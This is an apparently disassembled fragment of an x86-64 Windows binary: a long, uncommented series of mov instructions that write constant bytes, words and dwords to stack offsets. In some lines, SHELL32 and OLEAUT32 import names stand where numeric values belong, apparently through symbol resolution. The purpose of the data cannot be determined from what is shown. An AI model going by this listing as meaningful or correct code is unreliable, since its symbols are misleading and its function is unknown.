mov dword [rsp + 0x8960], 0x5e6f
mov byte [rsp + 0x151], 0x88
mov dword [rsp + 0x8964], 0x54db
mov dword [rsp + 0x8968], 0x7bf8
mov byte [rsp + 0x152], 0x23
mov dword [rsp + 0x896c], 0x4d7a
mov byte [rsp + 0x153], 0x92
mov dword [rsp + 0x8970], 0x5cd1
mov eax, 0xda2
mov word [rsp + 0x1c44], ax
mov eax, 0xfcd
mov word [rsp + 0x1c48], ax
mov eax, 0x429
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x8974], 0x5887
mov byte [rsp + 0x154], 0xb5
mov byte [rsp + 0x155], 0x40
mov dword [rsp + 0x8978], 0x7320
mov dword [rsp + 0x897c], 0xb1fa
mov eax, 0xdc7
mov word [rsp + 0x1c50], ax
mov byte [rsp + 0x156], 0x3a
mov dword [rsp + 0x8980], 0x34ac
mov dword [rsp + 0x8984], 0x19f1
mov dword [rsp + 0x8988], 0x9b2
mov dword [rsp + 0x898c], 0xeb1f
mov eax, 0xc62
mov word [rsp + 0x1c54], ax
mov dword [rsp + 0x8990], 0x9301
mov byte [rsp + 0x157], 0x2a
mov eax, 0x39c
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x8994], 0x1b65
mov eax, 0xb0f
mov word [rsp + 0x1c5c], ax
mov eax, 0xcb6
mov word [rsp + 0x1c60], ax
mov eax, 0xc92
mov word [rsp + 0x1c64], ax
mov eax, 0x609
mov word [rsp + 0x1c68], ax
mov dword [rsp + 0x8998], 0x2992
mov dword [rsp + 0x899c], 0x23f3
mov dword [rsp + 0x89a0], 0x2d05
mov dword [rsp + 0x89a4], 0x223
mov byte [rsp + 0x158], 0x48
mov eax, 0x9ee
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x89a8], 0x7aff
mov dword [rsp + 0x89ac], 0xf8f7
mov byte [rsp + 0x159], 0xa6
mov dword [rsp + 0x89b0], 0x56bd
mov byte [rsp + 0x15a], 0x3d
mov eax, 0xd69
mov word [rsp + 0x1c70], ax
mov eax, 0x710
mov word [rsp + 0x1c74], ax
mov dword [rsp + 0x89b4], 0x8299
mov eax, 0x510
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x89b8], 0x3b02
mov byte [rsp + 0x15b], 0x54
mov eax, 0x956
mov word [rsp + 0x1c7c], ax
mov dword [rsp + 0x89bc], 0x4a6e
mov eax, 0x6b2
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x89c0], 0x3e56
mov byte [rsp + 0x15c], 0xc5
mov dword [rsp + 0x89c4], 0x1aef
mov eax, 0x39c
mov word [rsp + 0x1c84], ax
mov byte [rsp + 0x15d], 0x51
mov dword [rsp + 0x89c8], 0x47bc
mov eax, 0xae7
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x89cc], 0x2a54
mov dword [rsp + 0x89d0], 0x1951
mov dword [rsp + 0x89d4], 0x58ff
mov dword [rsp + 0x89d8], 0xfff5
mov eax, 0x93c
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x89dc], 0x291c
mov dword [rsp + 0x89e0], 0x38e
mov dword [rsp + 0x89e4], 0x2a9f
mov byte [rsp + 0x15e], 0x74
mov dword [rsp + 0x89e8], 0x79c4
mov eax, 0x5ef
mov word [rsp + 0x1c90], ax
mov dword [rsp + 0x89ec], 0x70f0
mov byte [rsp + 0x15f], 0xee
mov dword [rsp + 0x89f0], 0x75f9
mov dword [rsp + 0x89f4], 0x111c
mov eax, 0x9b4
mov word [rsp + 0x1c94], ax
mov dword [rsp + 0x89f8], 0x1d0b
mov eax, 0x60e
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x89fc], 0x17fc
mov dword [rsp + 0x8a00], 0x17f8
mov byte [rsp + 0x160], 0x3a
mov dword [rsp + 0x8a04], 0xb3e2
mov eax, 0xaa1
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x8a08], 0x8f63
mov eax, 0x274
mov word [rsp + 0x1ca0], ax
mov byte [rsp + 0x161], 0xc0
mov dword [rsp + 0x8a0c], 0xbf6d
mov byte [rsp + 0x162], ILFindChild
mov dword [rsp + 0x8a10], 0x736c
mov eax, 0x1a5
mov word [rsp + 0x1ca4], ax
mov dword [rsp + 0x8a14], 0x69db
mov eax, 0xd57
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x8a18], 0xf8b
mov dword [rsp + 0x8a1c], 0x1afb
mov dword [rsp + 0x8a20], 0x3d21
mov dword [rsp + 0x8a24], 0x2e3a
mov dword [rsp + 0x8a28], 0x351d
mov byte [rsp + 0x163], 4
mov eax, 0x151
mov word [rsp + 0x1cac], ax
mov dword [rsp + 0x8a2c], 0xa807
mov eax, 0xe53
mov word [rsp + 0x1cb0], ax
mov dword [rsp + 0x8a30], 0x268e
mov dword [rsp + 0x8a34], 0x54bd
mov dword [rsp + 0x8a38], 0x7145
mov dword [rsp + 0x8a3c], 0x2ca0
mov dword [rsp + 0x8a40], 0x245
mov dword [rsp + 0x8a44], 0x3c71
mov dword [rsp + 0x8a48], 0xe359
mov dword [rsp + 0x8a4c], 0x2deb
mov dword [rsp + 0x8a50], 0x8d94
mov byte [rsp + 0x164], 0x51
mov dword [rsp + 0x8a54], 0x4f2e
mov eax, 0xe79
mov word [rsp + 0x1cb4], ax
mov dword [rsp + 0x8a58], 0x76b7
mov eax, 0x348
mov word [rsp + 0x1cb8], ax
mov eax, 0xaf4
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x8a5c], 0x32b4
mov eax, 0xcf6
mov word [rsp + 0x1cc0], ax
mov dword [rsp + 0x8a60], 0x5cab
mov dword [rsp + 0x8a64], 0x642f
mov eax, 0x8b6
mov word [rsp + 0x1cc4], ax
mov eax, 0xe24
mov word [rsp + 0x1cc8], ax
mov dword [rsp + 0x8a68], 0x7f11
mov dword [rsp + 0x8a6c], 0x1d5c
mov dword [rsp + 0x8a70], 0xa57e
mov dword [rsp + 0x8a74], 0x63fd
mov dword [rsp + 0x8a78], 0x2139
mov byte [rsp + 0x165], 0x4d
mov dword [rsp + 0x8a7c], 0xa812
mov byte [rsp + 0x166], 0x25
mov dword [rsp + 0x8a80], 0xef5
mov eax, 0x5ec
mov word [rsp + 0x1ccc], ax
mov eax, 0xc39
mov word [rsp + 0x1cd0], ax
mov byte [rsp + 0x167], 0x77
mov byte [rsp + 0x168], 0x6d
mov dword [rsp + 0x8a84], 0x28d
mov byte [rsp + 0x169], 0x3d
mov dword [rsp + 0x8a88], 0x1960
mov dword [rsp + 0x8a8c], 0x4b4e
mov eax, 0xe3b
mov word [rsp + 0x1cd4], ax
mov byte [rsp + 0x16a], 0x36
mov byte [rsp + 0x16b], ILSaveToStream
mov byte [rsp + 0x16c], 0x53
mov byte [rsp + 0x16d], 5
mov eax, 0x91
mov word [rsp + 0x1cd8], ax
mov byte [rsp + 0x16e], 0xc
mov dword [rsp + 0x8a90], 0x5f31
mov dword [rsp + 0x8a94], 0x6ce7
mov byte [rsp + 0x16f], 0x2d
mov dword [rsp + 0x8a98], 0x32a1
mov dword [rsp + 0x8a9c], 0x4135
mov byte [rsp + 0x170], 0xb6
mov dword [rsp + 0x8aa0], 0x1e97
mov dword [rsp + 0x8aa4], 0x5f7e
mov dword [rsp + 0x8aa8], 0x5d0f
mov eax, 0x612
mov word [rsp + 0x1cdc], ax
mov dword [rsp + 0x8aac], 0x4885
mov dword [rsp + 0x8ab0], 0x5f76
mov byte [rsp + 0x171], 0xd1
mov eax, 0x6b1
mov word [rsp + 0x1ce0], ax
mov dword [rsp + 0x8ab4], 0x277a
mov dword [rsp + 0x8ab8], 0x7587
mov byte [rsp + 0x172], 0x3e
mov eax, 0x18e
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x8abc], 0x2091
mov byte [rsp + 0x173], 0xfd
mov dword [rsp + 0x8ac0], 0x92f1
mov dword [rsp + 0x8ac4], 0x7e95
mov dword [rsp + 0x8ac8], 0x37ea
mov dword [rsp + 0x8acc], 0xdeb4
mov eax, 0x5e3
mov word [rsp + 0x1ce8], ax
mov dword [rsp + 0x8ad0], 0x2e25
mov eax, 0x196
mov word [rsp + 0x1cec], ax
mov dword [rsp + 0x8ad4], 0xd7e4
mov dword [rsp + 0x8ad8], 0xe7ac
mov dword [rsp + 0x8adc], 0x2c84
mov dword [rsp + 0x8ae0], 0xb6
mov byte [rsp + 0x174], 0x68
mov byte [rsp + 0x175], 0x49
mov byte [rsp + 0x176], 0x6c
mov eax, 0xf49
mov word [rsp + 0x1cf0], ax
mov eax, 0xacc
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x8ae4], 0x77a0
mov dword [rsp + 0x8ae8], 0x1ce5
mov dword [rsp + 0x8aec], 0x73bf
mov dword [rsp + 0x8af0], 0x1083
mov byte [rsp + 0x177], 0x27
mov dword [rsp + 0x8af4], 0xa88c
mov eax, 0x2a7
mov word [rsp + 0x1cf8], ax
mov byte [rsp + 0x178], 0xa1
mov dword [rsp + 0x8af8], 0x78d1
mov byte [rsp + 0x179], 0x9c
mov eax, 0xd90
mov word [rsp + 0x1cfc], ax
mov dword [rsp + 0x8afc], 0x395d
mov byte [rsp + 0x17a], ILFindChild
mov dword [rsp + 0x8b00], 0x69f5
mov eax, 0x361
mov word [rsp + 0x1d00], ax
mov byte [rsp + 0x17b], 0xcd
mov eax, 0x211
mov word [rsp + 0x1d04], ax
mov byte [rsp + 0x17c], 0x6b
mov dword [rsp + 0x8b04], 0x4f4a
mov dword [rsp + 0x8b08], 0xe352
mov dword [rsp + 0x8b0c], 0xc040
mov eax, 0x67a
mov word [rsp + 0x1d08], ax
mov dword [rsp + 0x8b10], 0x1deb
mov eax, 0x7c7
mov word [rsp + 0x1d0c], ax
mov dword [rsp + 0x8b14], 0x70f0
mov dword [rsp + 0x8b18], 0x7771
mov dword [rsp + 0x8b1c], 0xda52
mov dword [rsp + 0x8b20], 0x7ded
mov byte [rsp + 0x17d], 0x30
mov dword [rsp + 0x8b24], 0x6c01
mov byte [rsp + 0x17e], 0xdc
mov eax, 0x658
mov word [rsp + 0x1d10], ax
mov dword [rsp + 0x8b28], 0x72ff
mov dword [rsp + 0x8b2c], 0xff53
mov dword [rsp + 0x8b30], 0x3b79
mov dword [rsp + 0x8b34], 0x6462
mov dword [rsp + 0x8b38], 0xe2a7
mov dword [rsp + 0x8b3c], 0xeb9a
mov dword [rsp + 0x8b40], 0x2dbe
mov eax, 0x551
mov word [rsp + 0x1d14], ax
mov dword [rsp + 0x8b44], 0x71a2
mov eax, 0x4b1
mov word [rsp + 0x1d18], ax
mov dword [rsp + 0x8b48], 0x9b06
mov byte [rsp + 0x17f], 5
mov eax, 0x229
mov word [rsp + 0x1d1c], ax
mov byte [rsp + 0x180], 0x95
mov dword [rsp + 0x8b4c], 0x5968
mov eax, 0xdbc
mov word [rsp + 0x1d20], ax
mov byte [rsp + 0x181], 0x7a
mov dword [rsp + 0x8b50], 0xa65
mov byte [rsp + 0x182], 0x5e
mov eax, 0x4d5
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x8b54], 0x598f
mov dword [rsp + 0x8b58], 0x13f4
mov byte [rsp + 0x183], 0xe
mov byte [rsp + 0x184], 0
mov dword [rsp + 0x8b5c], 0x745e
mov dword [rsp + 0x8b60], 0xc4e6
mov dword [rsp + 0x8b64], 0x41e2
mov eax, 0x409
mov word [rsp + 0x1d28], ax
mov dword [rsp + 0x8b68], 0x76c0
mov dword [rsp + 0x8b6c], 0x6b50
mov dword [rsp + 0x8b70], 0x5fd2
mov dword [rsp + 0x8b74], 0x5763
mov dword [rsp + 0x8b78], 0x6137
mov dword [rsp + 0x8b7c], 0x7e61
mov dword [rsp + 0x8b80], 0x4797
mov byte [rsp + 0x185], 0x42
mov eax, 0xd0a
mov word [rsp + 0x1d2c], ax
mov dword [rsp + 0x8b84], 0xfc9a
mov eax, 0x6c4
mov word [rsp + 0x1d30], ax
mov dword [rsp + 0x8b88], 0x3d7f
mov dword [rsp + 0x8b8c], 0x2c77
mov dword [rsp + 0x8b90], 0x58ba
mov dword [rsp + 0x8b94], 0xef1e
mov byte [rsp + 0x186], 0x42
mov dword [rsp + 0x8b98], 0x85ef
mov dword [rsp + 0x8b9c], 0x537
mov eax, 0xbf
mov word [rsp + 0x1d34], ax
mov eax, 0x95b
mov word [rsp + 0x1d38], ax
mov dword [rsp + 0x8ba0], 0x52cb
mov byte [rsp + 0x187], 0x93
mov dword [rsp + 0x8ba4], 0x4ba3
mov eax, 0xc17
mov word [rsp + 0x1d3c], ax
mov dword [rsp + 0x8ba8], 0x8e45
mov dword [rsp + 0x8bac], 0xb24a
mov dword [rsp + 0x8bb0], 0x164b
mov dword [rsp + 0x8bb4], 0x852
mov dword [rsp + 0x8bb8], 0x4985
mov eax, 0x601
mov word [rsp + 0x1d40], ax
mov dword [rsp + 0x8bbc], 0x370f
mov dword [rsp + 0x8bc0], 0x4e62
mov eax, 0x11
mov word [rsp + 0x1d44], ax
mov eax, 0x376
mov word [rsp + 0x1d48], ax
mov dword [rsp + 0x8bc4], 0x1952
mov dword [rsp + 0x8bc8], 0xc0ba
mov eax, 0x605
mov word [rsp + 0x1d4c], ax
mov dword [rsp + 0x8bcc], 0xd015
mov dword [rsp + 0x8bd0], 0x7eb7
mov dword [rsp + 0x8bd4], 0xdcc5
mov dword [rsp + 0x8bd8], 0x5feb
mov byte [rsp + 0x188], 0x96
mov dword [rsp + 0x8bdc], 0xff40
mov dword [rsp + 0x8be0], 0x640f
mov dword [rsp + 0x8be4], 0x38a7
mov byte [rsp + 0x189], 0xf2
mov byte [rsp + 0x18a], 0x71
mov dword [rsp + 0x8be8], 0xf16d
mov dword [rsp + 0x8bec], 0x1e5e
mov eax, 0x6a1
mov word [rsp + 0x1d50], ax
mov eax, 0x495
mov word [rsp + 0x1d54], ax
mov eax, 0x811
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x8bf0], 0x48b3
mov dword [rsp + 0x8bf4], 0x1356
mov dword [rsp + 0x8bf8], 0x6eaa
mov dword [rsp + 0x8bfc], 0x20d8
mov dword [rsp + 0x8c00], 0x2f26
mov dword [rsp + 0x8c04], 0x24c8
mov eax, 0xccd
mov word [rsp + 0x1d5c], ax
mov dword [rsp + 0x8c08], 0x3012
mov eax, 0xb7f
mov word [rsp + 0x1d60], ax
mov dword [rsp + 0x8c0c], 0x2150
mov byte [rsp + 0x18b], 0xc7
mov dword [rsp + 0x8c10], 0x88ef
mov dword [rsp + 0x8c14], 0xc0cc
mov dword [rsp + 0x8c18], 0xe53
mov dword [rsp + 0x8c1c], 0xed2
mov eax, 0x235
mov word [rsp + 0x1d64], ax
mov byte [rsp + 0x18c], 0x21
mov dword [rsp + 0x8c20], 0x14f
mov eax, 0x76a
mov word [rsp + 0x1d68], ax
mov eax, 0xf71
mov word [rsp + 0x1d6c], ax
mov dword [rsp + 0x8c24], 0x2927
mov byte [rsp + 0x18d], 0x4f
mov dword [rsp + 0x8c28], 0x473b
mov eax, 0x41b
mov word [rsp + 0x1d70], ax
mov byte [rsp + 0x18e], 0x5a
mov byte [rsp + 0x18f], 0x37
mov dword [rsp + 0x8c2c], 0x5cc6
mov dword [rsp + 0x8c30], 0x25f6
mov dword [rsp + 0x8c34], 0x4806
mov byte [rsp + 0x190], 0xeb
mov dword [rsp + 0x8c38], 0x3b38
mov dword [rsp + 0x8c3c], 0xfc35
mov dword [rsp + 0x8c40], 0x4ff9
mov eax, 0x655
mov word [rsp + 0x1d74], ax
mov dword [rsp + 0x8c44], 0x699e
mov dword [rsp + 0x8c48], 0xf2f1
mov dword [rsp + 0x8c4c], 0x3465
mov dword [rsp + 0x8c50], 0x1cde
mov dword [rsp + 0x8c54], 0xd52f
mov byte [rsp + 0x191], 0x79
mov dword [rsp + 0x8c58], 0x1165
mov dword [rsp + 0x8c5c], 0x5d7e
mov dword [rsp + 0x8c60], 0xbe1
mov dword [rsp + 0x8c64], 0xaea4
mov dword [rsp + 0x8c68], 0x2f2
mov eax, 0xd9b
mov word [rsp + 0x1d78], ax
mov dword [rsp + 0x8c6c], 0x5298
mov byte [rsp + 0x192], 0x69
mov dword [rsp + 0x8c70], 0x37c4
mov dword [rsp + 0x8c74], 0x5c11
mov dword [rsp + 0x8c78], 0x3d0f
mov eax, 0x66b
mov word [rsp + 0x1d7c], ax
mov eax, 0x2d4
mov word [rsp + 0x1d80], ax
mov eax, 0x4bf
mov word [rsp + 0x1d84], ax
mov eax, 0x375
mov word [rsp + 0x1d88], ax
mov eax, 0x1e9
mov word [rsp + 0x1d8c], ax
mov byte [rsp + 0x193], 0x9c
mov eax, 0x3b2
mov word [rsp + 0x1d90], ax
mov eax, 0x3a0
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x8c7c], 0x14fd
mov dword [rsp + 0x8c80], 0x4d67
mov dword [rsp + 0x8c84], 0x243a
mov dword [rsp + 0x8c88], 0x726a
mov dword [rsp + 0x8c8c], 0xe76
mov eax, 0x53e
mov word [rsp + 0x1d98], ax
mov eax, 0xa12
mov word [rsp + 0x1d9c], ax
mov dword [rsp + 0x8c90], 0x6543
mov dword [rsp + 0x8c94], 0xc37d
mov dword [rsp + 0x8c98], 0x4767
mov eax, 0xa9f
mov word [rsp + 0x1da0], ax
mov dword [rsp + 0x8c9c], 0xaa1
mov dword [rsp + 0x8ca0], 0x739f
mov dword [rsp + 0x8ca4], 0x65b2
mov dword [rsp + 0x8ca8], 0x5d25
mov dword [rsp + 0x8cac], 0x4932
mov eax, 0x1d4
mov word [rsp + 0x1da4], ax
mov eax, 0x6fe
mov word [rsp + 0x1da8], ax
mov eax, 0xedb
mov word [rsp + 0x1dac], ax
mov dword [rsp + 0x8cb0], 0xee6d
mov dword [rsp + 0x8cb4], 0x5e3c
mov byte [rsp + 0x194], 0xe3
mov byte [rsp + 0x195], 0xe5
mov dword [rsp + 0x8cb8], 0x8096
mov eax, 0x263
mov word [rsp + 0x1db0], ax
mov eax, 0xdf9
mov word [rsp + 0x1db4], ax
mov eax, 0x12
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x8cbc], 0x15f5
mov eax, 0x8a
mov word [rsp + 0x1dbc], ax
mov eax, 0x9bd
mov word [rsp + 0x1dc0], ax
mov byte [rsp + 0x196], 0x35
mov dword [rsp + 0x8cc0], 0x2079
mov dword [rsp + 0x8cc4], 0x7965
mov eax, 0xf1d
mov word [rsp + 0x1dc4], ax
mov dword [rsp + 0x8cc8], 0x6889
mov dword [rsp + 0x8ccc], 0x6f75
mov dword [rsp + 0x8cd0], 0x5868
mov dword [rsp + 0x8cd4], 0xee1
mov eax, 0xf0
mov word [rsp + 0x1dc8], ax
mov dword [rsp + 0x8cd8], 0x1853
mov dword [rsp + 0x8cdc], 0x6b40
mov byte [rsp + 0x197], 0x2c
mov dword [rsp + 0x8ce0], 0x3b0b
mov dword [rsp + 0x8ce4], 0x94d6
mov byte [rsp + 0x198], 0xf0
mov eax, 0x545
mov word [rsp + 0x1dcc], ax
mov eax, 0x620
mov word [rsp + 0x1dd0], ax
mov byte [rsp + 0x199], 0x6b
mov dword [rsp + 0x8ce8], 0x8f5
mov eax, 0x530
mov word [rsp + 0x1dd4], ax
mov byte [rsp + 0x19a], 7
mov dword [rsp + 0x8cec], 0x7a99
mov dword [rsp + 0x8cf0], 0xb885
mov eax, 0x987
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x8cf4], 0x702a
mov dword [rsp + 0x8cf8], 0x5557
mov byte [rsp + 0x19b], 0x78
mov eax, 0x7ae
mov word [rsp + 0x1ddc], ax
mov dword [rsp + 0x8cfc], 0x2882
mov dword [rsp + 0x8d00], 0x40ce
mov byte [rsp + 0x19c], 0x51
mov dword [rsp + 0x8d04], 0xaed9
mov dword [rsp + 0x8d08], 0x7d7e
mov dword [rsp + 0x8d0c], 0x4310
mov byte [rsp + 0x19d], 0xd1
mov dword [rsp + 0x8d10], 0x27d9
mov dword [rsp + 0x8d14], 0x4a54
mov dword [rsp + 0x8d18], 0x36f1
mov dword [rsp + 0x8d1c], 0x20d0
mov dword [rsp + 0x8d20], 0x20a9
mov dword [rsp + 0x8d24], 0x20c0
mov dword [rsp + 0x8d28], 0x21
mov dword [rsp + 0x8d2c], 0x2312
mov eax, 0xf23
mov word [rsp + 0x1de0], ax
mov eax, 0x3c
mov word [rsp + 0x1de4], ax
mov dword [rsp + 0x8d30], 0x11fe
mov dword [rsp + 0x8d34], 0xcb1c
mov dword [rsp + 0x8d38], 0x4735
mov eax, 0x59f
mov word [rsp + 0x1de8], ax
mov byte [rsp + 0x19e], 0x53
mov dword [rsp + 0x8d3c], 0x6024
mov dword [rsp + 0x8d40], 0x57d8
mov dword [rsp + 0x8d44], 0x39f9
mov dword [rsp + 0x8d48], 0xbbc
mov byte [rsp + reloc.OLEAUT32.dll_OleCreatePropertyFrameIndirect], 0x38
mov eax, 0x237
mov word [rsp + 0x1dec], ax
mov byte [rsp + 0x1a0], 0x7d
mov eax, 0xb5e
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x8d4c], 0x6a76
mov eax, 0xa4
mov word [rsp + 0x1df4], ax
mov eax, 0xe8f
mov word [rsp + 0x1df8], ax
mov byte [rsp + 0x1a1], 0xf9
mov dword [rsp + 0x8d50], 0x575c
mov dword [rsp + 0x8d54], 0x4c71
mov eax, 0xb41
mov word [rsp + 0x1dfc], ax
mov dword [rsp + 0x8d58], 0x3edd
mov dword [rsp + 0x8d5c], 0x3226
mov dword [rsp + 0x8d60], 0xa54
mov byte [rsp + 0x1a2], 0x44
mov dword [rsp + 0x8d64], 0x6420
mov dword [rsp + 0x8d68], 0x8b2
mov byte [rsp + 0x1a3], 0x29
mov eax, 0x8b4
mov word [rsp + 0x1e00], ax
mov eax, 0x178
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x8d6c], 0xb5a7
mov dword [rsp + 0x8d70], 0x3fc8
mov dword [rsp + 0x8d74], 0x4c6e
mov dword [rsp + 0x8d78], 0x9817
mov eax, 0x343
mov word [rsp + 0x1e08], ax
mov eax, 0x4ce
mov word [rsp + 0x1e0c], ax
mov dword [rsp + 0x8d7c], 0x6b8
mov byte [rsp + 0x1a4], 0xd7
mov byte [rsp + 0x1a5], 0x46
mov dword [rsp + 0x8d80], 0xe65
mov dword [rsp + 0x8d84], 0x51a8
mov byte [rsp + 0x1a6], 0x6c
mov dword [rsp + 0x8d88], 0xc42e
mov byte [rsp + 0x1a7], 0x2e
mov byte [rsp + 0x1a8], 0x20
mov dword [rsp + 0x8d8c], 0x2f3d
mov byte [rsp + 0x1a9], 0x70
mov byte [rsp + 0x1aa], 0x44
mov byte [rsp + 0x1ab], 0x99
mov dword [rsp + 0x8d90], 0xa08b
mov byte [rsp + 0x1ac], 0x9c
mov eax, 0xf92
mov word [rsp + 0x1e10], ax
mov dword [rsp + 0x8d94], 0x4b3
mov dword [rsp + 0x8d98], 0x1738
mov dword [rsp + 0x8d9c], 0x716d
mov dword [rsp + 0x8da0], 0x3f51
mov dword [rsp + 0x8da4], 0x79ed
mov dword [rsp + 0x8da8], 0x22ce
mov dword [rsp + 0x8dac], 0xb71
mov dword [rsp + 0x8db0], 0x4411
mov dword [rsp + 0x8db4], 0x37c6
mov dword [rsp + 0x8db8], 0x9be4
mov dword [rsp + 0x8dbc], 0xe764
mov eax, 0xf3b
mov word [rsp + 0x1e14], ax
mov byte [rsp + 0x1ad], 0xf3
mov byte [rsp + 0x1ae], 0x3a
mov byte [rsp + 0x1af], 0x64
mov eax, 0xbd3
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x1b0], 0x56
mov dword [rsp + 0x8dc0], 0x436c
mov byte [rsp + 0x1b1], 0x57
mov byte [rsp + 0x1b2], 0x83
mov byte [rsp + 0x1b3], 0x38
mov dword [rsp + 0x8dc4], 0x2e00
mov dword [rsp + 0x8dc8], 0x4e9d
mov byte [rsp + 0x1b4], 0xca
mov dword [rsp + 0x8dcc], 0x7909
mov byte [rsp + 0x1b5], 0x33
mov dword [rsp + 0x8dd0], 0x31ae
mov eax, 0xd1a
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x8dd4], 0xbf7e
mov dword [rsp + 0x8dd8], 0x385b
mov dword [rsp + 0x8ddc], 0x4ecb
mov byte [rsp + 0x1b6], 0x42
mov eax, 0x52a
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x8de0], 0x7875
mov dword [rsp + 0x8de4], 0xb864
mov dword [rsp + 0x8de8], 0x60ed
mov byte [rsp + 0x1b7], 0x2d
mov dword [rsp + 0x8dec], 0x158c
mov dword [rsp + 0x8df0], 0xffe
mov dword [rsp + 0x8df4], 0x57f
mov dword [rsp + 0x8df8], 0x1549
mov byte [rsp + 0x1b8], 0x5f
mov dword [rsp + 0x8dfc], 0x36fb
mov byte [rsp + 0x1b9], 0xe3
mov dword [rsp + 0x8e00], 0x5cb8
mov eax, 0x685
mov word [rsp + 0x1e24], ax
mov eax, 0x60f
mov word [rsp + 0x1e28], ax
mov eax, 0x7ac
mov word [rsp + 0x1e2c], ax
mov eax, 0x7bd
mov word [rsp + 0x1e30], ax
mov eax, 0x743
mov word [rsp + 0x1e34], ax
mov dword [rsp + 0x8e04], 0x9f73
mov dword [rsp + 0x8e08], 0x10e8
mov eax, 0x3ab
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x1ba], 0x7d
mov dword [rsp + 0x8e0c], 0xf4ba
mov eax, 0xdf6
mov word [rsp + 0x1e3c], ax
mov eax, 0x291
mov word [rsp + 0x1e40], ax
mov dword [rsp + 0x8e10], 0x20a4
mov byte [rsp + 0x1bb], 0xae
mov dword [rsp + 0x8e14], 0x7bdc
mov eax, 0xa33
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x8e18], 0xe4b4
mov byte [rsp + 0x1bc], 0x70
mov byte [rsp + 0x1bd], 0xbf
mov eax, 0x36a
mov word [rsp + 0x1e48], ax
mov dword [rsp + 0x8e1c], 0xf595
mov dword [rsp + 0x8e20], 0x1850
mov dword [rsp + 0x8e24], 0xf064
mov eax, 0x1f7
mov word [rsp + 0x1e4c], ax
mov dword [rsp + 0x8e28], 0x18c8
mov eax, 0x458
mov word [rsp + 0x1e50], ax
mov eax, 0x147
mov word [rsp + 0x1e54], ax
mov eax, 0x68a
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x8e2c], 0x2ac4
mov byte [rsp + 0x1be], 0x45
mov byte [rsp + 0x1bf], 0xb3
mov byte [rsp + 0x1c0], 0x3d
mov dword [rsp + 0x8e30], 0x3ec
mov dword [rsp + 0x8e34], 0x533d
mov dword [rsp + 0x8e38], 0x8379
mov dword [rsp + 0x8e3c], 0x2777
mov dword [rsp + 0x8e40], 0x12ba
mov eax, 0x44e
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x8e44], 0x1daf
mov dword [rsp + 0x8e48], 0x3b94
mov eax, 0xf3c
mov word [rsp + 0x1e60], ax
mov dword [rsp + 0x8e4c], 0x1f53
mov dword [rsp + 0x8e50], 0x7744
mov byte [rsp + 0x1c1], ILFindChild
mov dword [rsp + 0x8e54], 0x7a97
mov dword [rsp + 0x8e58], 0x73e6
mov eax, 0x7a2
mov word [rsp + 0x1e64], ax
mov byte [rsp + 0x1c2], 0x4c
mov byte [rsp + 0x1c3], 0xe
mov dword [rsp + 0x8e5c], 0x447d
mov eax, 0xf63
mov word [rsp + 0x1e68], ax
mov eax, 0x4b6
mov word [rsp + 0x1e6c], ax
mov dword [rsp + 0x8e60], 0x2d57
mov dword [rsp + 0x8e64], 0x5561
mov byte [rsp + 0x1c4], 0xfe
mov eax, 0x70d
mov word [rsp + 0x1e70], ax
mov dword [rsp + 0x8e68], 0x630a
mov byte [rsp + 0x1c5], 0x3b
mov dword [rsp + 0x8e6c], 0x405c
mov dword [rsp + 0x8e70], 0x3904
mov dword [rsp + 0x8e74], 0x4674
mov byte [rsp + 0x1c6], 0x2f
mov dword [rsp + 0x8e78], 0x4368
mov dword [rsp + 0x8e7c], 0xdf
mov eax, 0x4ee
mov word [rsp + 0x1e74], ax
mov eax, 0x528
mov word [rsp + 0x1e78], ax
mov dword [rsp + 0x8e80], 0x62c1
mov byte [rsp + 0x1c7], 4
mov dword [rsp + 0x8e84], 0x647b
mov dword [rsp + 0x8e88], 0x381c
mov dword [rsp + 0x8e8c], 0x5515
mov eax, 0x1e2
mov word [rsp + 0x1e7c], ax
mov dword [rsp + 0x8e90], 0x598b
mov dword [rsp + 0x8e94], 0x1bf
mov dword [rsp + 0x8e98], 0x3143
mov dword [rsp + 0x8e9c], 0xdb83
mov dword [rsp + 0x8ea0], 0xc1c
mov eax, 0x87d
mov word [rsp + 0x1e80], ax
mov eax, 0x6a5
mov word [rsp + 0x1e84], ax
mov eax, 0x202
mov word [rsp + 0x1e88], ax
mov eax, 0x211
mov word [rsp + 0x1e8c], ax
mov byte [rsp + 0x1c8], 0xaf
mov dword [rsp + 0x8ea4], 0x20a4
mov dword [rsp + 0x8ea8], 0xeec
mov byte [rsp + 0x1c9], 0xc0
mov byte [rsp + 0x1ca], 0xbc
mov dword [rsp + 0x8eac], 0x68e0
mov dword [rsp + 0x8eb0], 0x5860
mov eax, 0x306
mov word [rsp + 0x1e90], ax
mov dword [rsp + 0x8eb4], 0x177c
mov byte [rsp + 0x1cb], 0x6c
mov dword [rsp + 0x8eb8], 0x6a43
mov byte [rsp + 0x1cc], 0x3f
mov dword [rsp + 0x8ebc], 0xbc4d
mov dword [rsp + 0x8ec0], 0x1834
mov dword [rsp + 0x8ec4], 0x58a3
mov byte [rsp + 0x1cd], reloc.SHELL32.dll_ILIsParent
mov eax, 0x497
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x8ec8], 0xfe7
